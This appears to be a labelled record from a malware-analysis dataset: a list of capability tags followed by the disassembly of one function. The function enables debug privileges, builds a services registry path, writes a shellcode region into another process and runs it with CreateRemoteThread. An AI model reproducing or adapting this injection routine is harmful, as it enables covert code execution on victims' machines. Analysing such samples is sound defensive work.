Function at 0x10005450
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], edx
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100054e2
lea eax, [ebp - 0x120]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x100054d6
mov eax, dword [ebp - 0x120]
push 0
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x11c]
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x114]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.10009c70
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x114], eax
test eax, eax
je 0x100056b1
push 0xf4
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.100146a0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push str.advapi32.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x1002e418
push esi
call edi
push 0x1002e428
push esi
mov dword [ebp - 0x110], eax
call edi
push 0x1002e438
push esi
mov dword [ebp - 0x10c], eax
call edi
push 0x1002e44c
push esi
mov dword [ebp - 0x108], eax
call edi
push 0x1002e45c
push esi
mov dword [ebp - 0x104], eax
call edi
push 0x1002e46c
push esi
mov dword [ebp - 0x100], eax
call edi
push 0x1002e47c
push esi
mov dword [ebp - 0xfc], eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
mov dword [ebp - 0xf8], eax
call edi
push str.shlwapi.dll
call ebx
mov esi, eax
push 0x1002e49c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov dword [ebp - 0xf4], eax
call edi
push str.kernel32.dll
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x1002e4bc
push esi
call ebx
push 0x1002e4c4
push esi
mov dword [ebp - 0xec], eax
call ebx
push esi
mov dword [ebp - 0xf0], eax
call edi
push dword [ebp - 0x118]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xe4]
push eax
call esi
push str.SYSTEMCurrentControlSetServices_
lea eax, [ebp - 0x80]
push eax
call esi
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
mov ebx, dword [ebp - 0x114]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0xf4
push 0
push ebx
call esi
mov dword [ebp - 0x118], eax
test eax, eax
je 0x100056b1
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp - 0x110]
push 0
push 0xf4
push ecx
push eax
push ebx
call edi
test eax, eax
je 0x100056b1
push 0x40
push 0x1000
push 0x2800
push 0
push ebx
call esi
mov esi, eax
test esi, esi
je 0x100056b1
push 0
push 0x2800
push 0x10005390
push esi
push ebx
call edi
test eax, eax
je 0x100056b1
push 0
push 0
push dword [ebp - 0x118]
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x100056b1
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012425
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret